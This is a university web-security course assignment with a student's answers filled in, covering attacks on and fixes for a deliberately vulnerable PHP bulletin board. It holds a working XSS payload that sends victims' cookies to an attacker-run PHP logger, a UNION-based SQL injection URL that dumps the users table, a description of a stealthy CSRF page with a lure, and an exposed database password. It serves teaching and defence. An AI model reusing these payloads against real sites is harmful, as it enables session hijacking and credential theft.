CS 6324: Information Security
Project 3 - Web Security

In this project, you will perform a series of attacks to exploit some vulnerabilities in an online bulletin-board, called *hackme*. Your attack will consist of several phases. You will conduct cross site scripting, cross site request forgery, and SQL injection attacks. You are also required to implement modifications to the web site to prevent such attacks.

Instructions

Due date & time 11:59pm CST on April 30, 2021. Submit your project files (the report and source files) to eLearning by the due time. The files you submit must be compressed to a single archive (.zip or .tar).

Additional Instructions

- For this project, you already have the source files for the website hackme compressed `hackme.zip` in your home directory in `fiona.utdallas.edu`.
- Each student will use their account on `fiona.utdallas.edu`. You will receive an email with this information.
- Use the UT Dallas VPN if you connect to the server from outside the campus: `https://oit.utdallas.edu/howto/vpn/`.
- Your home account will contain a folder called 'public html'. This is your website's home directory, which you can use for testing your solution. You can access any file placed there online on: `http://fiona.utdallas.edu/~username/`
  (remember to keep your permissions appropriate, you may need to modify them so that the group 'www-data' has read and execute access).
- To set up you own version of the website, unzip `hackme.zip` to the web directory above.
- All your website instances will connect to the same mySQL database. The database name is `cs6324spring21`, the username to access the database is `cs6324spring21` and the password is `ebBUwdGQunTa8MFU`.
- Any code you write should run on `fiona` with no errors.
- The written portion of the project must be typed. Using Latex is recommended, but not required. The submitted document must be a PDF (no doc or docx are allowed)
- If you want to use late days for this project (with the penalty described in the course website), please notify TA (dongpeng.liu@utdallas.edu) by the due time. Otherwise, your account on `fiona` will be locked and you will not be able to modify your code.

1 (20 pts) Password and Session Management

Securely managing sessions and passwords is vital to prevent a number of attacks on a webpage. Most website designers, however, neglect to take a few important security measures when dealing with passwords and cookies. In this part, you are going to explore hackme's code and identify a set of exploitable vulnerabilities.

1. **Password Management** hackme manages passwords in an inherently insecure way. Familiarize yourself with the password management techniques employed by hackme by examining the following files: `index.php`, `register.php`, and `members.php`:

   - **Describe** how the passwords are stored, transmitted and authenticated.
     - The SHA256 hash of the password is stored directly in the SQL database.
     - The raw password is directly transmitted through HTTP protocol.
     - The password was not authenticated. Although passwordHash was created and stored in databse, the website only checks whether the user exists in the database and allows a login as long as both username and password fields are filled and the user indicated by the username exists in the database.
   - **Identify** and **describe two** vulnerabilities in the password management system and explain **how** they can be exploited. (note: your answer should not involve the possibility of "weak passwords" and should not involve cookies)
     - Vulnerability 1: No checks on the password or the password hash. Line 17 of members.php only verifies whether the user exists in the database. The password or password hash is never checked. One may exploit this by guessing some common usernames and login without the owner's password.
     - Vulnerability 2: Since only username is used in verification for login, if the length of username is not checked at line 35 at index.php while it is defined in SQL as only 20 characters, hackers can exploit it by inputting a long string for SQL injection.
   - **Describe** and **implement** techniques to fix the above vulnerabilities. Your description should be thorough and should indicate which files/scripts need modification and how they should be modified. You should then write code to fix the vulnerabilities. Your code will be graded on how well it fixes the vulnerabilities. No points will be given if the code gives runtime errors.
     - In line 17 of members.php, both username and password hash are verified at login. If a wrong password is entered, a notice will pop up showing password unmatch. The extra check is conducted by adding an extra criterion as it is passed in the mysql_query SELECT statement, so both columns need to match to successfully login.
     - The cookie Hackme, where the username is stored, is now encrypted using AES-128-CTR ciphering using password has as initial vector and decryption key. To accommodate the encryption and decryption of this cookie, members.php, post.php, show.php are all modified to decrypt the username when it is requested to use.

2. **Session Management** hackme relies on cookies to manage sessions. Familiarize yourself with the how cookies are managed in hackme.

   - **Describe** how cookies are used in hackme and how sessions are maintained. Include in your description what is stored in the cookies and what checks are performed on the cookies.
     - From index.php, the website first checks whether cookie of hackme website exists. If not exist, the login page will be shown for the user to enter username and password. After submission, index.php jumps to members.php, and verifies whether both username and password fields are filled. If any of the fields are not filled, the website shows the error message. If both fields are filled, then the website checks whether the username exists against its database. If username does not exist, an error message will be shown. Otherwise, 2 persistent cookies, one carrying

username and the other carrying password, will be crated with an expiration time of 1 hour, and the user will be allowed to login.

- If the cookie exists and unexpired, the website will jump to members.php and login automatically. The login session is maintained as long as the cookie exists and is unexpired. At the time of logout, both cookies containing the username and password will be deleted, and prompt back to index.php.
- Other than the existence checks, no other checks are performed on the cookie.

- **Identify** and **describe three** vulnerabilities in the cookie management system and **how** they can be exploited.
  - Vulnerability 1: Only the presence of cookie "hackme" is checked for login, it is not checked against the SQL database for whether the username provided exists. In Line 5 of index.php, if cookie of hackme is detected, then it jumps to login directly. One can exploit this by giving a random username in hackme cookie and get access as unregistered user or, if the hacker has some known username, access in the position of a registered user.
  - Vulnerability 2: Password hash stored in cookie is not re-verified when used to login. Hackers can get in the system as long as they have a valid username.
  - Vulnerability 3: Username is not encrypted when stored in cookie in lines 27 of members.php. If the hacker steals the cookie, he will have the user's login credentials. Along with vulnerability 1 in password management, giving away existed username allows hacker to login the website.
- **Describe** and **implement** techniques to fix the above vulnerabilities. Your description should be thorough and should indicate which files/scripts need modification and how they should be modified. You should then write code to fix the vulnerabilities. Your code will be graded on how well it fixes the vulnerabilities. You will not get any points for code that gives runtime errors.
  - In members.php, post.php, and show.php, originally only the presence of hackme cookie is checked for login session automatically. It is now required the presence of both hackme and hackme_pass cookies to deem as valid session. Whenever login session needs to be confirmed, both the username and the password hash will be revalidated by checking against the SQL database.
  - Since hackme cookie is encrypted using password hash as initial vector and encryption key through AES-128-CTR algorithm, if hackme cookie is stolen, the hacker cannot view the username plaintext and login right away. Since hackme needs hackme_pass to decrypt, losing anyone of them requires re-login.
  - Encryption reference: https://www.geeksforgeeks.org/how-to-encrypt-and-decrypt-a-php-string/

2 (20 pts) XSS Attack

Cross Site Scripting (XSS) attacks are one of the most common attacks on websites and one of the most difficult to defend against. Popular websites, including twitter and Facebook, were once vulnerable to such attacks. Naturally, hackme is also vulnerable to XSS. In this part, you will perform XSS attacks to steal users' cookies.

1. Craft a special input string that can be used as part of a posting to the bulletin board to conduct a XSS attack. The attack should steal the cookies of any user who views your posting. The cookies must be stored in a file on the attacker's server (not storing the cookies will only get you partial credit). You need to:
   - Provide the *exact* input string you need to post to the webpage. The input should be typed and submitted in a file names (XSS input.txt) (I should be able to copy your string and paste it in order to replicate your attack). To get full credit, your attack must be 100% hidden from the victim.

- <script>new Image().src="http://fiona.utdallas.edu/~yxf160330/Q2/XSS_Write.php/"+document.cookie; </script>
- Same script is provided at XSS_input.txt
- Reference: http://danscourses.com/xss-with-a-vulnerable-webapp/

- Explain what your string does and how it performs the attack. Also describe how the attacker can access the stolen cookies. Be precise in your explanation.
  - The string first tricks the browser into thinking a JavaScript is coming up, followed by the JavaScript to open new Image at a remote source, which is a php file in a different folder (~/yxf160330/public_html/Q2) in my case. The source address is appended by all cookies generated in the website, including username and password hash, after "/".
  - The attacker can access the stolen cookies by opening the cookiesAllocated.txt file to check the victim's username and their corresponding password hash.
- Provide any extra web pages, files, and/or scripts that are needed to conduct a successful attack. Provide a complete description of each item and its intended purpose. Include in your description the required linux/unix permission bits for each new file.
  - An extra XSS_Write.php is needed to put at ~/yxf160330/public_html/Q2 to correspond to the input string provided above. The file is set at rwxrwxrwx permission. (permission bits: 777)
- Describe the exact vulnerabilit(y/ies) that made your attack possible.
  - The reason the vulnerability is possible is that the post message is not sanitized before adding into the SQL database. Post.php allows special characters such as "<"and ">" in postbox when adding into SQL database, thus when the thread is displayed in show.php, the message is able to escape from the php code as independent JavaScript and perform malicious actions on its own.

2. **Describe** *and* **implement** a method to prevent this attack. Your description should be thorough and should indicate which files/scripts need modification and how they should be modified. You should then write code to fix the vulnerability. Your code will be graded on how well it fixes the vulnerability. You will not get any points for code that gives runtime errors.
   - The method used is to process user input before conversion to avoid <script></script> being embedded into the post.
   - In Line 15 of post.php, a new line is added to convert the user input using htmlspecialchars() function to eliminate "<", ">", and quotation marks to avoid new scripts being embedded into the post, and destroy their runnability in show.php

3 (20 pts) XSRF Attack

Cross Site Request Forgery (XSRF) attacks are malicious exploits which allow unauthorized commands to be transmitted to a webpage on behalf of a victim user. The attack can be used to perform unauthorized transactions on the victim's behalf. In this part, you will perform a XSRF attack to post an advertisement to the website without the user's consent. While the user is still logged on to hackme, you need lure him/her to a malicious webpage that runs the attack.

1. Create a new webpage that runs the XSRF attack. The attack should post an advertisement for "awesome free stuff!!". You need to:
   - Describe the components of your webpage. Include a thorough description of the component performing the attack and explain **how** the attack is performed.
     - The webpage includes a header text claiming the victim has won his cash and trip, and a hidden

form.

- The hidden form has a post method target to post.php, with similar fields such as title and message. In order to post in victim's behalf, title field and message fields are both pre-loaded with advertisement related messages. Since they are set hidden, it is not visible when victim opens the CSRF website.

- Eventually, a JavaScript stealthily executes a form submission command to submit the hidden form. Since post.php cannot distinguish whether the victim submits the post or others doing so on victim's behalf, and that both the required fields, title and message, are filled with data, all checks performed by post.php are passed. As a result, post.php just assumes it is the victim's action and posts the advertisement for the victim.

- Make sure that the attack is 100% stealthy (hidden from the victim). The victim should only visit/view the malicious website for the attack to work. Attacks which require user interaction or which are not hidden (ex: cause redirection) will only get partial credit.
- Identify a method of luring the victim to visit your malicious website while he/she is logged into hackme.
  - The way to lure victims is through claiming that clicking the link will have huge load of cash or something of great value towards victim's benefit. As greedy person always exists, and greediness will draw him into the trap.

2. Describe the specific vulnerabilit(y/ies) in hackme that allowed XSRF attacks. Be precise in your description.

   - The vulnerability exists in Line 10 of post.php, where no check is performed to verify whether the post action is done by the user or by XSRF. Without checks, XSRF just passes as a normal post and get inserted into the post database.

3. Describe **three** methods to prevent XSRF attacks on hackme. You need to be thorough in your description: mention **what** needs to be done, **how** to do it, and **why** it will prevent the attack.

   - On server side, one can use cookie with hidden fields to authenticate a webform. The server and client can first negotiate a token which also needs to be submitted along when posting a message. Since XSRF attacker cannot retrieve this negotiated token, XSRF will fail due to missing a required field in submission.

   - Another method is to require the message body of POST request to contain cookies. This can be done by requiring an extra field in POST which verifies a specific cookie of client with the server. Since malicious scripts need to actively add victim's cookie in its POST form, the malicious script will fail accessing the script due to same origin policy.

   - A less user-friendly method is that the website just requires a user login every time the user wants to post a message. To do this, the website just creates a different login session for users who wants to post, and immediately logout once the message is posted Through this method, no XSRF can be done since the username and password authentication blocks any attempt to post in other's behalf.

4 (20 pts) SQL Injection Attack

For this part, you will use a private version of the website available on:

`http://fiona.utdallas.edu/hackme/`

Note that this version uses a different database instance which uses login credentials that are not available to you.

In an attempt to limit access to this bulletin board, we added one more verification step to the registration process. Now, only users that have been given a secret access key can register as users. When creating a new

account, the user has to enter a secret key. The hash of this key is checked against a stored hash. If it matches, then the registration process continues normally. This is the only time the key is checked.

Unfortunately, the secret key was not given to you, and you cannot register on this website. For this attack, you will bypass this requirement by performing an SQL injection attack.

1. By crafting a special input string to one of the HTML forms, you need to perform an SQL injection attack to register a new user on the website. You need to:
   - Identify the webpage you are using for the attack (i.e. `index.php` or `register.php`)
     - show.php was used for attack
   - Provide the *exact* input to *every* field on the webpage; this should include your attack string (I should be able to copy your string and paste it in order to replicate your attack from a file you should send named SQL string.txt). To get full credit, your attack should not return an SQL error.
     - http://fiona.utdallas.edu/hackme/show.php?pid=1%27%20union%20all%20SELECT%20username,%20pass,%20fname,%20lname,%20extra%20FROM%20users%20WHERE%20%271%27=%271
     - After logging into the hackme with guest account, use the above URL can bring up the content of users table, where the private key is located. No other input is needed.
     - Raw string after ?: pid=1' union all SELECT username, pass, fname, lname, extra FROM users WHERE '1'='1
   - **Execute** the attack to register a new user. The username should be your NetID (ex: dxl200000). The first name and last name should be your name. The password can be anything.
   - Login with new username, and **post** something on the bulletin board. The title of the post should be your full name.
2. **Describe** *and* **implement** a method to prevent the above SQL injection attack. Your description should be thorough and should indicate which files/scripts need modification and how they should be modified. You should then write code to fix the vulnerabilities. Your code will be graded on how well it fixes the vulnerabilities. You will not get any points for code that gives runtime errors.
   - To prevent SQL injection, line 18 in members.php and line 41 in register.php, and line 11 of show.php, where read or modification to the SQL database is needed, has their inputs sanitized using mysql_real_escape_string() function before the database is touched. The function escapes any single quotes that allows SQL to happen as string. Attempts to cause SQL injection will be blocked due to syntax error.
3. The way the secret key is handled is inherently insecure. **Describe** a more secure method of providing the extra authentication step. That is, assuming that an adversary **can** perform the SQL injection attack, how can you prevent him from logging in to the website?
   - The extra authentication can be done by implementing a dynamic secret key, which differs between every user willing sign in. The dynamic key can be sent through other ways of communication, such as email and text message. After the key is registered by a user, it is then destroyed. By doing so, even if the hacker can still perform SQL injection, since the key in extra authentication is always different, he cannot login to the website.

Note: You can assume that "magic quotes" are disabled in the php.ini file by the system administrator. You cannot override this setting.

5 (20 pts) Weak Passwords

For this part, you will use a private version of the website available on:

`http://fiona.utdallas.edu/hackme/`

Note that this version uses a different database instance which uses login credentials that are not available to you.

As you can tell, hackme does not check the strength of a user's passwords. The website only enforces the condition that passwords should be non-empty. As a result, 100 users registered accounts with very weak and/or common passwords. In this part, you will run a brute force dictionary attack to recover the passwords.

1. Read the paper "Testing Metrics for Password Creation Policies by Attacking Large Sets of Revealed Passwords" by Weir et al. (`pwdtest.pdf` is attached in eLearning).

   - Describe the current NIST standard for measuring the strength of passwords.
     - Current NIST standard measures password using information entropy, which indicates the amount of information that is unknown due to their randomness. NIST tries to evaluate the strength of password through estimating randomness of each character
     - The entropy of first character is considered to be 4 bits. The 2nd to the 8th characters are 2 bits per character. From 9th to the 20th character the entropy is 1.5 bits per character, and characters starting 21st bit all have 1 bit per character. Bonus entropy of 6 bits is added if not only upper and lower case alphabets, but also special characters are used. Another addable entropy comes from extensive dictionary check if the password cannot be found from dictionaries a hacker may have.
     - Entropy is the sum of all entropy bits in the password according to the rule.
   - Briefly outline why, according to the paper, the NIST standard is ineffective.
     - NIST implies that longer password yields better security. However, it does not take in the account that more guesses are allowed for the attacker on longer password, and that attacker can train the algorithm based on dictionary of leaked password, making the successful rate of cracking a password increases with the length of password.
     - NIST entropy value does not change with the success rate of password cracking session against man-made password.
     - NIST does not aware that the security of certain password is less than others. The entropy value does not give any information relating to the security of the password creation policy.
   - Based on your understanding, suggest a set of rules that can be employed by hackme to prevent "weak passwords"
     - Blacklist some sets of highly frequent common words to be used as password.
     - Enforce that the password must include a special character and an uppercase character. The location of special character must not be at the end.
     - Parse user's weak password, and suggest some stronger passwords for the user to choose during registration.
     - Generate a completely random PIN code whenever a user wants to login in addition to their password. The PIN code can be sent to a phone number or email.

2. The file `users.txt` contains a list of 100 users with weak passwords. You need to perform a **bruteforce *dictionary*** attack to recover these passwords. For this, you need to find a corpus of weak passwords (a number of them are available online).

   You should output your result in a text file called `pass.txt`. Each line should correspond to one user. You need to output the username, followed by a tab, followed by the password. The users should be in the same order as they appear in `users.txt`. If you are unable to recover a password for one user, then output the username alone on that line. That is, I should be able to run diff on your output and my answer file in order to get the number of incorrect answers you have. Failure to follow these rules will not

get you any credit.

This part is worth 10 pts (i.e. 0.1 points per password) and points will be rounded up. That is, you only need to recover 91 passwords to get a full grade. If you recover all 100 passwords, you will get bonus points. Hint: No password is used twice. If you are missing a few passwords after your dictionary attack, think about bad password habits made by users.

6 Final Notes.

You should remember the followings:

- Even though you have your own version of the web site *hackme* they all share a common database, so make sure that you *play* nice.
- Make sure to compress all your solutions and follow the naming convention giving in the specification. The grading process will be automated and failing to follow the instruction might result in loosing points EVEN if you submitted the correct solution.
- Make sure you provide all the implementation of the fixes of the security vulnerabilities in *hackme* pointing out in your report to all the file you have changes and **what** you have changes and **why** it is important.
- Finally make sure you have a running final version in your account and clean up any backups you have made.